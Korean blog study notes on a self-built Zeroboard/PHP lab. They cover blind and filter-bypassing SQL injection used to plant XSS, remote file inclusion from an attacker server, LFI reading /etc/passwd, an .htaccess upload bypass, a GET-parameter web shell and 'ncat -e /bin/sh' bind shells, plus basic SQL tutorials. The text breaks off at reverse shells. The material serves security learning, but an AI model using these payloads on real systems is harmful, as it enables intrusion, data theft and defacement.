화면에는 이제 Welcome이라는 글자 조차.. 아무 화면도 안뜬다...
이런 상황에서도 가능할까??



(출력 정보 없다.)





(페이지 모습)





(참 Injection)





(거짓 Injection)




참도,, 거짓도... 알아볼 수 없는 화면이다...
이럴 때는 일부러 특이 현상을 일으키는 것도 방법이다.
예를 들어 sleep명령이 있다.
and 뒤에 비교문(아까와 같이) 또 그 뒤에 sleep을 걸어주면
비교가 참일 경우 sleep이 발생되고
거짓일 경우 뒤의 명령을 실행할 필요가 없기 때문에 sleep이 나타나지 않는다.
즉 이걸 이용하면 아까와 같은 방법으로 한글자씩 알아낼 수 있다.




(참 Injection)




참일 경우 위와 같이 sleep이 발동되어 화면이 돌아가고 있는 모습을 볼 수 있다.

이렇듯 화면에 출력되는 정보가 없어도
확인이 힘들더라도
SQL Injection은 가능할 수 가 있다.
:)



저번 글 마지막에서
SQL 인젝션을 막아보았다.
바로 magic_quotes_gpc 설정을 통해서인데
한번 어떻게 막아지나 다시한번 확인해 보겠다.

게시글 내용을 sql injection test글로 수정하는 쿼리로 조작해서
url입력을 한다. 



(SQL Injection)



결과는 물론 실행되지 않았고
로그를 통해 어떤 SQL 명령이 전달되었는지 확인해보자



(로그 확인)



전달된 SQL 명령을 확인해보니 문자열 앞 ' 작은따옴표 앞에 \(역슬래쉬) 가 붙은 걸 확인 할 수 있다.

바로 escape 문자인데 문자열을 나타내는 ' 작은 따옴표의 역할을 벗어나 문자 따옴표 역할을 하게 한다. -> 그렇게 되어 뒷부분이 SQL 명령 문법에 오류로 처리가 되어 SQL 명령이 실행되지 않는 것이다.

이러한 필터링을 우회하는 방법이 있을까?
=> 이러한 필터링은 문자열이 입력되지 못하게 하는 것이다.

* 우회 방법
1) 필터링 되고 있는 문자에 대해서 다른 문자로 대체 가능한 문자를 찾는다.

2) 문자열을 표현하는 또 다른 방법을 이용하는 것이다.
-> mysqld의 내장함수를 이용하는 방법이 있다. (char함수 이용)

char() -> 아스키 코드를 바꿔주는 char 내장함수를 사용하면 ' , " 를 사용하지 않고도 문자열을 입력할 수 있다.

MySQL에서 적용이 되는지 확인해 보겠다.
먼저 char() 함수를 이용하여 문자열이 출력 가능할까?



(문자열 출력)



-> 문자열 출력이 가능하다.

'sql injection haha' 이라는 문자열이 출력 될 수 있도록
아스키코드표를 참고해서 적어준다.
SQL Injection에 사용될 url이다. 



(SQL Injection)



실행 후 로그를 확인해보았다.



(로그)



로그를 보니 우리가 원하는 대로 SQL 명령이 전달 된 것을 확인 할 수 있다.

공격이 잘 성공 됬다면 게시판의 모든 글이 sql injection haha로 바뀌었을 것이다.
뒤에 우리가 where 조건 절을 안주었기 때문에 모든 글에 적용 되었을 것이고
concat을 사용하지 않았기 때문에 글 전체가 바뀌었을 것이다.

확인해보면



(결과)




(결과)



모든 글이 우리가 입력한 문자열로 모두 바뀐 것을 확인 할 수 있다.

그렇다면 이 우회방법을 이용하여 스크립트도 추가할 수 있을까?



(추가할 스크립트)



추가할 스크립트를 아스키코드로 바꾸어 놓았다.

아까와 같이 하지만 우리는 이번에 전체 글이 아니라 19번 글만 적용시킬 것이다. 왜냐하면
전체글에서 팝업창이 뜨면 귀찮을거 같기 때문에...



(SQL Injection url)



실행해보니 19번 글을 클릭할 때 XSS 스크립트가 실행되었다.



(XSS 공격)



소스코드를 보니



(소스코드)



XSS 스크립트가 추가된 것을 확인 할 수 있다.

이렇게 SQL Injection은 XSS 공격에도 이용할 수 있을 만큼 강력한 취약점이다.

이번에 다뤄볼 내용은 Blind SQL Injection이다.

* Blind SQL Injection
-> 소스코드 없이 오직 페이지에 있는 코드 혹은 SQL 명령들의 결과로부터만 공격을 하는 것이다.
-> DB에 들어있는 데이터 중에서 블라인드 데이터, 화면에 보여지지 않는 데이터들을 노출시키는 공격이다.
지금 까지는 우리가 서버에 들어가서 소스코드를 분석하면서 취약점을 분석하였다.
하지만 이번에는 오직 웹 브라우저를 통해서 공격하는 것이다.

먼저 이 공격에 대해 이해하기 위해
Blind Injection에 아주아주 취약한 웹페이지를 만들어보고 그 페이지를 대상으로 공격을 해보겠다.

1) 테스트용 DB
 DB : blind
 table 3개가 필요하다.
 - news: no, title, news
 - fnews: no, title, news, bigo
 - anews : no, title



(DB 생성)




(테이블 생성)




(적절한 데이터 입력)



DB 생성, 테이블 생성, 적절한 데이터까지 몇개 입력해보았다.

이제 이 DB를 이용해 간단한 그리고 취약한 PHP 페이지를 만들것이다.



(PHP 페이지 코드)



웹 페이지에서 확인해보면
no변수를 GET 방식을 통해 전달받으면서 해당 no의 글을 화면에 보여주는 페이지이다.



(웹 페이지 모습)



취약점의 존재 확인방법 : 참 or 거짓을 이용한다.
 1) and 1=1 , and 'a'='a',  and 1  , true false 사용 가능, && 기호(url인코딩값) 사용 가능  (참 이용)
 2) and 1=2, and 0, and False,   (거짓 이용)
 3) or 1=1  ,  || 기호 사용 가능(url인코딩사용해야한다.)
 4) or 1=2
참일 경우 화면에 보여지지만, 거짓일 경우에는 화면에 보여지지 않을 것이다.




(참)




(거짓)



이러한 명령들을 로그에서도 확인해 볼 수 있다.



(로그)



혹은 no의 변수에 1 || 1  을 입력하게 되면
뒤에 1이 항상 참이기 때문에 no=1의 글만이 아닌 1을 포함해서 모든 글을 가져오게 된다.



(1=1 입력)



이렇듯
입력값 조작 을 통해 화면이 다르게 나오면 인젝션 취약점을 의심해 볼 수 있다.
=> 입력값에 의해 쿼리가 사용된다는 것을 의심해 볼 수 있다.

그렇다면 조작할 수 있는 것은 알겠는데
이로써 다른 데이터들을 보려고 한다면 no변수에 입력을 통해 추가적으로 다른 테이블을 검색할 수 있어야한다.
즉, 2개 이상의 쿼리문을 실행시킬 수 있어야한다.
어떻게?

1). ; 을 이용한 방법
; (세미콜론)을 이용하면 여러개의 명령을 동시에 실행 시킬 수 있다.



(두개의 명령 실행)



검색 결과가 2개가 나온 것을 확인 할 수 있다.

하지만 안타깝게도 이 방법은 현재 우리 코드에서 적용하지 못한다. 이유는...
우리가 mysql_query() 함수를 사용하는데 이는 단일 쿼리만 가능하도록 되있는 함수이기 때문이다..
다른데서는 가능할 수 도 있지만, 우리에게는 사용할 수 없다ㅜ

2). union 을 이용한 방법 (이거는 select에서만 사용 가능하다.)
union을 이용하면 추가적인 select 명령을 할 수 있다.



(union 사용)



사용 화면에 보다시피 한테이블에 합쳐져서 나온다.

그렇기 때문에 예상할 수 있는 오류가 있다.
만약 두 개의 쿼리에서 찾는 테이블의 컬럼의 수가 일치하지 않으면??



(에러 모습)



에러가 난다~
news는 컬럼이 3개 이기 때문에 fnews 테이블을 컬럼 3개만 맞춰서 select 명령을 실행 할 수 밖에 없다.
무조건 앞에 있는 테이블을 기준으로 컬럼을 맞춰야한다.



(컬럼 일치시키기)



그렇다면 anews 처럼 2개 밖에없으면??
즉, news 보다 더 적은 테이블을 검색한다면 어떨까?



(오류)



물론 오류난다..

이를 해결하기 위해서는 컬럼을 일치시키기위해 아무값이나 추가해서 컬럼을 추가한다.



(컬럼 일치시키기)



바로~ 이러한 특성을 이용하여
보이지 않는? 테이블의 컬럼의 수를 맞출 수 있다.
현재 우리는 우리가 테이블을 만들었기 때문에 컬럼의 수를 알고 있지만
Blind SQL Injection이다.

우리에게 주어진건 웹페이지 뿐이다.!
이 때 이 화면에 보여지는 테이블의 컬럼의 수 정보를 알아내는 것은
매우 중요하다.
왜냐하면 뒤에 union을 사용하여 추가적인 다른 테이블을 검색해볼것인데
union을 사용하려면 앞의 테이블의 컬럼 수와 일치시켜야하기 때문이다.!

그렇다면 현재 페이지의 DB 컬럼 수를 맞추기 부터 해보자!

* 컬럼의 개수를 아는 방법
컬럼 개수를 아는 방법은 여러가지가 있다.
1. 찍기. (다해보기)
-> 무식한 방법일 수 있지만 확실한 방법이다.

union select 1
union select 1, 2
union select 1, 2, 3
...
쭉 다 해본다.
그렇게 되서 화면에 내용이 나오게되면 바로 그 만큼의 개수가 존재 한다는 것이다.
원리는 위에서 union 할 때 앞의 컬럼의 수와 일치하는 컬럼의 수를 입력해야 된다는 것이다.



(컬럼 수 맞추기)



컬럼 수가 3개 이기 때문에 1, 2, 3 이렇게 3개의 값을 컬럼 정보에 넣었을 때 데이터가 보인다.


(그렇지 않은 경우)



그렇지 않은 경우 SQL 명령에서 오류가 나기때문에 화면에 아무 내용도 보이지 않게 된다.

2) order by 를 이용한 방법
-> 2진 탐색을 이용할 수 있는 방법이다.

select 에서 order by를 이용하면 컬럼의 정보로 정렬을 할 수 있다.



(사용 예시)



그런데 이걸 바로 숫자입력?으로도 정렬을 할 수 있다.



(order by 1)



이 방법의 원리는 이렇다.
=> orber by 10 으로 했는데 안나왔다. -> 컬럼이 10개보다 적다.
 => order by 2 로 했는데 나왔다. -> 컬럼이 2개보다 많다는 뜻이다.




(order by 방법)



이렇게 컬럼의 수를 맞추는 방법까지 알아보았다.

이제 다음 포스트 글에서는 Guessing을 이용해 DB 정보에 더 다가가는 방법에 대해
알아보겠다
:)




오늘은
제로보드의 SQL 취약점을 살펴볼 것이다.

그 중에서 PHP File Download 취약점을 살펴 볼 것이다.

지난 글에서 만들었던 게시판에서 글을 확인해 보면
다운로드 옆에 숫자가 보이는데
다운로드 횟수를 보여준다.



(다운로드 횟수)



바로 이 횟수가 DB에 저장된 값 중 하나인데
이 페이지의 소스코드를 분석해보자

다운로드를 클릭하면 download.php 파일로 이동하는 것을 확인 할 수 있다.



(download.php 파일 이동)



download.php?id=gogo_test&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword

=&prev_no=&select_arrange=headnum&desc=asc&no=19&filenum=1
코드를 보면 download.php 파일로 GET방식으로 변수들의 값을 가져가고 있는 것을 확인 할 수 있다.

그렇다면 download.php 파일을 확인해보자.



(download.php 파일)



소스 코드를 보면 44번 행에
mysql_query를 볼 수 있다.



(SQL 구문)



mysql_query("update $t_board"."_$id set douwnload".$filenum."=download".$filenum."+1 where no='$no'");
이 구문인데 실행될 떄 어떤 SQL이 만들어져서 보내지는지 확인해 보겠다.
먼저 $t_board 변수인데
download.php 페이지에서는 이 변수를 정의하고 있지 않다.
대신
이 페이지의 위 쪽에 코드를 보면
require "lib.php";  에서
즉 lib.php에서 이 변수를 정의하고 있는 것을 확인 할 수 있었다.



(lib.php 에서 정의)



확인한 결과
lib.php 39번라인에서 $t_board = "zetyx_board";로 정의 되어있었다.

또 나머지 변수는 GET 방식에서 넘어오는 변수들인 것을 확인 할 수 있다.
$id=gogo_test
 $filenum=1
 $no=19

즉, 이 값들을 토대로 해서
어떤 쿼리가 전송되는지 조합해보면
update zetyx_board_gogo_test set download1=download1+1 where no='19';
이러한 쿼리가 만들어져서 보내지는 것을 확인 할 수 있다.

실제로 이런 쿼리가 만들어지는지 확인해보자

먼저
SQL 로그를 기록되게 하기위해서 실행중인 SQL을 끄고 다시 실행하도록 하자.



(sql 종료)



종료 후 옵션을 걸어서 실행해 줄 것이다.

#> mysqld_safe --log=query.log &
로 실행하게 되면
로그가 기록되게 된다.



(로그 기록 실행)



기록되는 로그의 위치는
/var/lib/mysql 에 있는
query.log 파일이다.



(로그 파일 확인)



로그 파일을 열어둔채 다시 다운로드를 클릭하면
아래와 같이 로그가 기록되는 것을 확인 할 수 있다.



(로그 확인)



로그를 보면 우리가 예상했던 update 구문이 정확히 일치한다는 것을 볼 수 있다.
우리의 생각이 맞았던 것이다.

자 그렇게되면
우리가 조작할 수 있는 값은 3개
이 3개로 SQL구문을 Injection 할 수 있다는 것이다.

예를 들어 id변수를 hello로 바꿀 수 있다.



(SQL Injection)




(결과 화면)




그 결과 hello라는 게시판이 없어서 이런 페이지가 나왔고
아무 일이 이러나지 않았다.

두번 째로 no변수를 1로 바꾸어 보았다.




(no 변조)




no 1의 게시 다운로드1 의 횟수가 1 추가되었는지 확인해보자

mysql에 들어가서 아래와 같이 확인해본다.



(확인)



(1 추가)



확인해본 결과 1이 증가했다는 것을 볼 수 있다.

그렇다면 마지막으로 filenum?
$filenum=1=100
으로 하면 어떻게 될까?
그렇게 되면
update zetyx_board_gogo_test set download1=100=download1=100+1 where no='19';
이 되게 되고 문법에 맞지 않아 실행이 되지 않는다.
하지만 이러한 변조는 아마 눈치 챘을 거라 생각한다.
바로 다운로드 횟수 100으로 바꿀 수 있다는 가능성이 있다는 것이다.



(다운로드 회수 100 조작)



하지만 뒤에 문법이 맞지 않는다는 것이 문제다.
그렇다면 뒷 부분을 주석처리할 수 있다면?
주석 : --, /* */, #
예를 들어
update zetyx_board_gogo_test set download1=100#=download1=100#+1 where no='19';
이렇게 되게 하기 위하여
filenum에다가 1=100# 을 넣는다면
뒷부분은 주석처리 되고 다운로드1의 횟수가 100이 되는 SQL 명령이 된다.



(SQL Injection)




(실행 결과)



실행 결과 로그를 확인해보니 #이 빠져있다..!
바로 URL에서 입력할 때 특수 문자는 URL Encoding이 되기 때문이다.

* URL encoding
 - URL에서 사용하는 특수문자
 - 공백: +, %20 (아스키 코드)
 - 문자에 해당하는 아스키코드 앞에 %를 붙여주면된다.
 # -> %23

그렇기 때문에 주석 처리를 위한 # 대신에 %23을 사용한다면?



(%23 사용)



결과 다운로드 수가 100으로 적용된 것을 볼 수 있다.



(100 적용)



그리고 뒤에 where 조건이 없었으므로 아마 모든 글의
다운로드1 횟수가 100으로 됬을 것이다.



(100으로 적용됨)



이 때 사용된 쿼리문을 로그에서 확인해보면



(쿼리 확인)



#이 아까처럼 사라지지 않고
남아서 주석처리 역할을 한것을 볼 수 있다.


그렇다면~?
이러한 SQL Injection을 이용해 XSS공격을 할 수 있을까?
예를들어 update구문을 이용해 게시글에 스크립트를 추가하도록 하는 것이다.
그렇게 되면 스크립트 차단을 해놨어도 우회할 수 있는 길이 생기게 된다.

먼저 게시글이 DB의 어떤 컬럼에 저장되는지 확인한다.



(게시글 내용)



확인해본 결과 게시글은 memo라는 컬럼에 데이터가 저장되는 것을 확인 할 수 있다.

우리는 그냥 update를 사용하면 원래 글 내용이 사라지므로
원래 글 뒷부분에 스크립트를 추가해보겠다.

이를 위해 concat이라는 함수가 있다.
바로 문자열을 연결해주는 함수이다.



(concat)



위 처럼 문자열을 연결해주는 역할을 한다.

우리는 이것을 이용하여
concat(memo, '스크립트') 를 사용할 것이다.

그렇게 되면 아래와 같은 url이 나온다.



(공격에 사용된 url)



실제 적용해보면
예상되는 쿼리는
update zetyx_board_gogo_test set download1=100, memo=concat(memo, '<script>alert(\'attack!!\') </script>')  #=download1=100#+1 where no='19';
이렇다.
게시글 뒷부분에 스크립트 코드가 추가되는 것이다.



(SQL Injection 실행)



실행 후 로그를 확인해보면



(로그 확인)



우리가 예상한 대로 SQL 명령이 전달 된 것을 확인 할 수 있다.

우리가 where 조건을 주지 않았기 때문에
모든 글에 스크립트가 들어가서


(XSS 공격)



XSS 공격 팝업 창이 뜰 것이다.

게시글의 코드를 확인해보면



(스크립트 코드 추가)



스크립트 코드가 추가된 것을 확인 할 수 있다.


간단하게 이러한 Injection을 막기 위해
magic_quotes_gpc 라는 설정을 켜둔다. GPC(Get, Post, Cookie)
하지만 5.4버전부터 이 설정이 사라져있다. (성능 때문에)

설정의 vi /etc/php.ini
파일에서 483번 라인을 On 해주면 된다.



(설정)



이렇게 되면 문자열 입력이 안된다.
한번 해보겠다.
단순히
download.php?id=gogo_test&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword

=&prev_no=&select_arrange=headnum&desc=asc&no=19&filenum=1=100,%20me

mo=concat(memo,'injection test !')%20%23
이렇게 게시글에 injection test! 문자열을 추가해볼것이다.



(SQL Injection)



실행 후 SQL 로그를 확인해 보면




(로그 확인)




' 쿼터 앞에 \ (역슬래쉬)가 붙은 것을 볼 수 있다.
그래서 '가 문자열의 역할을 못하게 되어 SQL Injection이 되지 않았다.

=> 문자열 인젝션은 따옴표를 적어줘야하는데
여기서 magic_quotes_gpc 설정을 해주면 문자열 따옴표가 escape되서
문자열을 나타내지 못하게 된다.
그러므로 문자열 인젝션이 불가능하게 된다.
하지만 이걸 켜주게 되면
모든 입력에 대해 전부 체크하게 된다.
-> 쿼리문이 없더라도 입력값을 전부 체크하기 때문에 성능이 떨어지게 된다.
그렇기 때문에 사라진 것이다. 만들때 함수를 이용하여 체크할 수 있도록 해둔 것이다.
=> 설정에서 빠진 이유이다.




저번 글에서 테이블 생성까지 CREATE 명령을 사용해보았다.

만들어진 테이블을 이용하여
DML 언어
- INSERT(추가/입력/삽입), SELECT(확인), UPDATE(수정), DELETE(삭제)를 공부해보겠다 :)

* INSERT
 mysql> insert into [테이블이름] values( colum1 value, colum2 value, ...);
 

숫자와 문자는 쿼터로 구분한다. '' 혹은 ""이 있으면 문자이다.



(insert 사용)



또다른 방법
 mysql> insert into [테이블이름]( colum_name, colum_name, ...) values( colum1 value, colum2 value, ...);
이 것은 어느 필드를 채워줄지 앞에서 써주는 것이다.
안써도 되지만 안쓰면 모든 필드를 입력하지 않으면 에러가 나온다.


(insert2 사용)





* SELECT
 - 내용을 화면에 출력하고자 할 때 사용한다.
 - DB내에서 사용하는 출력문이라고 생각하면 된다.

예를 들어 select 'hello'; 를 입력하면
hello 라고 출력이 된다.


(select)



DB에서 검색하여 출력할 때
mysql> select [필드이름] from [테이블이름];
필드 이름을 * 로 적으면 모든 필드가 출력이 된다.


(모든 필드 출력)



필드를 no로 지정해준 경우


(no_select)



select 구문 뒤에 where을 사용하여 조건을 추가시킬 수 도 있다.



(where 조건)





* UPDATE
 mysql> update [테이블이름] set [컬럼]=[값];
 -> 이렇게만 사용하면 전체 컬럼이 다 바뀌어버린다.
 mysql> update [테이블이름] set [컬럼]=[값] where 컬럼=값;



(where 조건(x))




조건이 없는 경우 위와 같이
모든 행의 데이터가 바뀐다.

예를 들어 성별이 M 인 행만 나이를 22 살로 업데이트하면



(update + 조건)



성별이 M인 행만 22로 바뀐 것을 확인 할 수 있다.





* DELETE
 - 행을 삭제하는 것이다.
 - 컬럼을 삭제하지는 못한다.
 - 컬럼을 삭제하는 것은 DDL로 삭제한다.
 - 특정 컬럼만 없애고 싶으면 UPDATE를 이용해야한다.
 - DELETE는 한 행을 삭제한다.

만약 delete를 사용하는데 뒤에 where 조건이 없다면
모든 데이터가 사라진다.



(조건(x) delete)



where 뒤에 조건을 주어 특정 행을 삭제 할 수 있다.

예를 들어 no가 3인 행을 삭제해 보겠다.



(행 삭제)



여기 까지 기초적인 SQL 공부였다. :)



저번 글 에서 PHP파일 업로드 취약점을 확인해보았다.
정리하면
1. 타겟 서버에 PHP 파일을 업로드 할 수 있고
2. 그 파일을 직접 접근이 가능하다.
이러한 조건이면 PHP 파일 업로드 취약점이라고 할 수 있다.

그렇기 때문에 요즘은 경로를 모르게 경로를 해쉬값으로 바꾸어 url에 집어 넣곤한다.
=> 그 파일에 대한 직접 접근을 제한하는 방법을 사용한 것이다.

오늘은 파일 업로드의 또 다른 유형을 알아보겠다.
만약 파일 업로드가 불가능 하다면?
그럴때 사용할 수 있는 것이 RFI  (Remote File Include 취약점) 이다.

현재는 취약점을 패치했지만 파일업로드 공격에 여러가지 유형으로 우회할 수 있다는
가능성을 이해하고자 한다.
이 공격 또한 파일 업로드 우회공격 중 하나이다.

* 리모트 파일 인클루드 취약점
-> PHP 파일 내에서 다른 PHP 파일의 소스코드를 포함시켜서 사용할 수 있는 기능을 이용한 것이다.

 -> 복사해서 그 자리다 붙여서 실행하는 효과이다.
공격에 사용할 수 있는 점은 바로..! 
-> 원격에 있는 php파일도 include 가능하다는 점이다..!!

즉 우리는 공격을 하기 위해 우리가 공격을 위한 서버를 하나 만들어서
거기다가 우리가 원하는 악성 PHP 파일을 업로드 한 후
Include를 이용하여 만들어놓은 서버의 파일을 불러서 실행시키면 되는 것이다.
 
그렇다면 먼저 취약점 코드를 확인해 보겠다.
1. 리모트 파일 인쿨루드 취약점이 있는 코드 확인

 /var/www/html/zboard/skin/zero_vote/error.php
 - 첫 번째 라인 코드
 <? include "$dir/value.php3"; ?>
 => 경로에 변수가 사용되고 있다.
 -> 이 변수를 조작하면 경로도 조작할 수 있다는 뜻이다.

바로 여기 $dir 변수를 GET방식으로 우리가 원하는 url 값을 넣어 전달해 줄 수 있다.
이유는 처음 우리가 제로보드 설치할 때 레지스터글로벌 설정을 On해두었기 때문이다.

 http://192.168.3.11/value.php3
 => url을 통해 인클루드 또한 가능하다.

악성 php파일 이름은 value.php3가 되면 된다. 코드를 보면 /value.php3이기 때문이다.
경로 : document root에다가.  (웹 홈 디렉터리로 경로를 전달할 거기 때문이다.)

코드 내용은
<?
 system('ifconfig');
?>
이렇다.

공격을 위한 서버에 위와 같은 파일을 올려둔다.
dir변수에 http://192.168.3.203  을 입력해서 던져주면
/var/www/html의 디렉터리에서 value.php3 파일을 Include 하게 된다.

=> 조금더 공격을 확실하게 하려면 공격 서버에는 PHP 모듈은 내려두는게 좋다.
이유는 include를 할 때 공격 서버에서 php가 실행되고 그 결과가 전달 될 때가 있기
때문이다.

취약점 발생 원인
=> dir 이라는 변수에 입력 검증이 없어서이다.

* 그래서 사실 원격 include를 꺼둔다 요즘은.

RFI 취약점 공격 조건
 - include, require, 등등
 - 입력값 검증의 부재
 - 객체에 대한 직접 접근

그렇다면 RFI 공격을 확인해보겠다.

먼저 취약점 코드를 확인해보겠다.!
취약점 코드는 /var/www/html/zboard/skin/zero_vote/error.php 에서 발견되었다.



(error.php 파일)



파일을 확인해보면
첫 번째 라인에서 확인해 볼 수 있다.



(취약점)


그렇다면 이 취약점이 존재하는 파일을 직접 접근이 가능할까?
바로 이게 공격이 가능할 두 번째 조건이기 때문에 확인이 필요하다.



(직접 접근)



직접 접근이 가능하다.!

공격을 시작해보겠다.

이 취약점을 이용해 공격 서버에
<?
system('ifconfig');
?>
코드를 올렸다. 파일이름은 value.php3로 웹 홈 디렉터리에다가..

그렇게 되면 만약 서버에서 이 코드가 실행되면
서버의 IP 주소가 보일 것이다.



(공격 화면)



dir 경로에 http://192.168.3.203  이라는 공격 서버의 IP주소를 던져주었다.
그러니
서버의 IP주소가 나온 것을 확인 할 수 있다.
바로 이 말은 서버에서 ifconfig가 실행 됬다는 것이다.

RFI 과 반대(?)로
LFI가 있다.

바로  로컬 파일 인클루드 취약점 (LFI)이다.
=> 원격 파일 인클루드가 꺼져있는 상황에서도 가능할 수는 있다.
LFI 취약점이 존재하는 파일을 일부러 만들어보겠다.
/var/www/html/vul.php   를 만든다. 코드는 아래와 같다.
<?
 include "auth/$file";
?>


(취약점 존재 파일 생성)




(코드)



위 코드를 보면 auth폴더에 파일이름은 $file 변수를 통해 입력 받는 것임을 확인 할 수 있다.

예를 들어 file변수에 login.php 값을 던져주면
auth/login.php 파일이 실행되는 것이다.



(동작 원리)



하지만 이를 통해 민감한 정보에 접근한다면??
바로..
file 변수 값에 ../../../../etc/passwd
를 입력하면..!



(공격 화면)



이렇게 서버의 정보들을 확인 할 수 있다.
웹쉘이랑 비슷한 개념이다.

그렇기에 LFI 취약점도 굉장히 위험한 취약점 중 하나이다.

이제 SQL을 이용한 취약점을 알아보겠다 :)

먼저 SQL을 이해해야한다.

SQL => Structured Query Langauage 
    - DB 표준언어이다.
    - DBMS마다 문법의 차이는 있다.
    - DBMS = 관계형 DB(MySQL, MariaDB, MsSQL, Oracle, DB2)
                                     (noSQL, ...)

* MySQL 쿼리 문 : 크게 6개 정도 있다. (그 외에도 더 많다.)

1) DDL : Data Definition Langauage
 - 데이터 정의어이다.
 - 실제 데이터를 조작하지는 못하는 쿼리이다.
 - DB, 테이블 생성 및 삭제를 한다.
 - ex) CREATE, DROP

2) DML : Data Manipulation Language
 - 데이터 조작어이다.
 - 실제 데이터를 변경/추가/삭제/확인 등이 가능한 쿼리이다.
 - ex) SELECT, INSERT, DELETE, UPDATE

3) DCL : Data Control Langauage
 - 데이터 제어어이다.
 - 권한, 트랜잭션, 등등의 역할을 한다.

* 주소록 DB를 만들어 볼 것이다. (SQL 이해)

1. DB 접속
#> mysql -u root -p
를 입력하고 비밀번호를 입력하여 접속을 한다.



(MySQL 접속)



2. 데이터베이스 확인 SHOW DATABASES;
데이터 베이스를 확인하기 위해서는
mysql> show databases;
를 입력하면 된다.



(데이터 베이스 목록)



3. DB 생성 : CREATE DATABASE
mysql> create database 디비이름;
mysql> create database address_list;



(DB 생성)



show databases 로 확인해 보겠다.



(생성 확인)



확인해보면 address_list가 생성된 것을 확인 할 수 있다.

4. DB 삭제 : DROP DATABASE
mysql> drop database 디비이름;
mysql> drop database address_list;

삭제하는 것이다.
전에 만들었던 test DB를 삭제해보겠다.



(DB 삭제)



삭제 된 것을 확인 할 수 있다.

5. 테이블 생성
mysql> create table 테이블이름( 컬럼 정보, ...);
으로 만들어줄 것이다.

만들어줄 열은
no(int), name( char(10) ), phone( char(20) ), age(int), gender( char(1) ), addr ( text )
이다.
괄호 안은 데이터 타입이다.

* 데이터 타입
숫자 : int, float, double
문자 : CHAR, VARCHAR, TEXT(입력된 데이터만큼 용량이 잡힌다. 가변 타입)
바이너리 :blob, longblob
시간, 날짜

먼저
mysql> use address_list;
를 입력하여 우리가 만든 DB로 들어간다.


(DB 접속)



그 후 아까 우리가 설계한 테이블 정보를 입력한다.
mysql> create table students( no int, name char(10), phone char(20), age int, gender char(1), addr text);



(테이블 생성)



테이블 확인은
mysql> show tables;
으로 테이블 목록을 볼 수 있고
mysql> desc [테이블이름];
으로 테이블 정보를 볼 수 있다.



(테이블 확인)


+ 테이블 삭제 DROP TABLE
mysql> drop table [테이블이름];





저번 글에서 파일 업로드 취약점을 공략하다가
.php 파일 확장자 업로드에서 막혀있었다.

오늘은 이러한 경우 우회할 수 있다는 가능성을 이해해보겠다.

저번 글에서 로컬설정 파일에 대한 이해가 되었다면
.htaccess 파일을 떠올릴 수 있을 것이다.

우리는 .htaccess 파일로 추가적인 설정을 해줄 것이다.
게시판에 업로드하면 data 폴더에 저장되는 것 또한 확인을 하였으니
data 폴더에 .htaccess 파일을 업로드하면 그 폴더 안에서 우리가 원하는 확장자를 php로 실행 시킬 수 있을 것이다.

우리는 .abc 라는 확장자가 php로 실행 될 수 있도록
AddHandler php5-script .abc
AddType text/html .abc
코드를 작성한 .htaccess 파일을 올릴 것이다.



(.htaccess 파일 작성)



(.htaccess 파일 생성)



자 이제 php로 실행이 되는지
php 코드를 작성해서 attack.abc를 올려보겠다.



(attack.abc 파일 작성)



아래와 같은 파일을 준비한다.



(준비 파일)



그리고 이 두 파일을 업로드 시켜준다.

업로드 되면
/data 폴더에 들어있을 것이므로
이제 /data 폴더에서 우리가 올렸던 attack.abc를 열어준다.



(attack.abc 실행)



(실행 된 모습)



확인해보니
php 파일이 실행되었다!

이로써 웹에 대한 충분한 이해가 있으면
취약점을 우회하는 방법도 여러가지 찾을 수 있다는 것을 알게 되었다.
앞으로 공부할 목표는 웹 취약점이라기 보다 웹에 대한 이해라고 보면 된다.


그렇다면 우리가 작성한 php 파일을 올린게 왜 치명적인걸까?
우리가 만든 php파일을 서버에 올릴 수 있다면
우리가 서버에 관해 못할게 없어진다.
그 가능성을 확인해 보겠다.

이제 웹 쉘이라는 개념을 이해해보자.
우리가 앞서 알아본 취약점을 공략하기 위해서 필요한 것은
입력할 곳. 이다.
다시 말하면
명령을 입력할 곳
바로 이게 쉘인데 웹 상에서 명령을 입력할 곳 이라는 의미로
웹쉘 이라고 불린다.

우리가 알아볼 것은 원격 쉘이다. 당연히 우리가 서버실에 잡입 침투하지 않을 것이므로 로컬 쉘에 대한 이야기는 아니다.

원격 쉘에 종류는 많지만 대표적으로 3가지가 있다.
1. 웹쉘
2. 바인드 쉘
3. 리버스 쉘

1. 웹쉘이란
웹에서 명령을 실행하는 것이다.
간단하게 웹쉘을 확인해 보겠다. (아주 간단히)

우리가 php코드를 올릴 수 있다는 것을 이용하여
아래와 같은 코드를 만들어 올린다고 해보자.


(웹 쉘 코드)



이 코드를 잘 보면 GET방식으로 받은 변수를
system 함수로 넘겨주고 있다.
즉 우리는 url을 통해 명령을 전달 할 수 있다.

확인을 위하여
이 파일을 업로드 해보겠다.


(웹쉘 테스트 파일)




업로드 후
cmd변수에 ls 명령을 전달했다.



(웹 쉘 확인)



ls 는 폴더 리스트를 확인하는 명령어인데
data 폴더에 있는 파일 리스트가 나오는 것을 확인 할 수 있다.

바로 이런 것이 웹 쉘이다.

2. 바인드 쉘
- 기본적으로 바인드 쉘은 TCP 통신을 이용한다.
정확히 말하면 원격 쉘은 TCP 통신을 주로 한다.
우리는 바인드 쉘을 확인하기 위하여 TCP통신을 하는 netcat이라는 프로그램을 이용할 것이다.

먼저
netcat을 실행해보겠다.
먼저 서버에서
#> ncat -l 12345
12345는 포트 번호이다. 열어줄 포트번호를 적어주면 된다.



(포트 개방)



그 후 윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
접속할 IP와 포트번호를 적어주면 된다.



(ncat 접속)



접속후 문자를 입력하면 문자열이
전송된다.


(문자열 전송)



기본적으로 이렇게 문자열을 전송하지만 옵션을 달리하여 이번에는
쉘을 연결해보겠다.
서버에서
#> ncat -e "/bin/sh" -l 12345
명령으로 포트를 열어준다.



(포트 개방)



그 후
윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
로 접속해준다.



(접속)



접속후 ls 라든가
기본 명령어를 입력하면
원격으로 쉘을 사용할 수 있게 된다.
바로! 이게 바인드 쉘이다.

3. 리버스 쉘
리버스 쉘이 나온 이유는 방화벽을 우회하기 위해서이다.
보통 서버에서 열어두어도 우리가 접속할 때 inbound 정책에 의하여
막히는 경우가 많다.
하지만 outbound 정책은 그렇게 심하지 않기 때문에 이 점을 이용한 것이다.
서버에서 우리한테 연결 요청을 하도록 하는 것이다.

바인드 쉘과 순서가 바뀐 것이다.
먼저 윈도우 호스트에서 포트를 열어주고
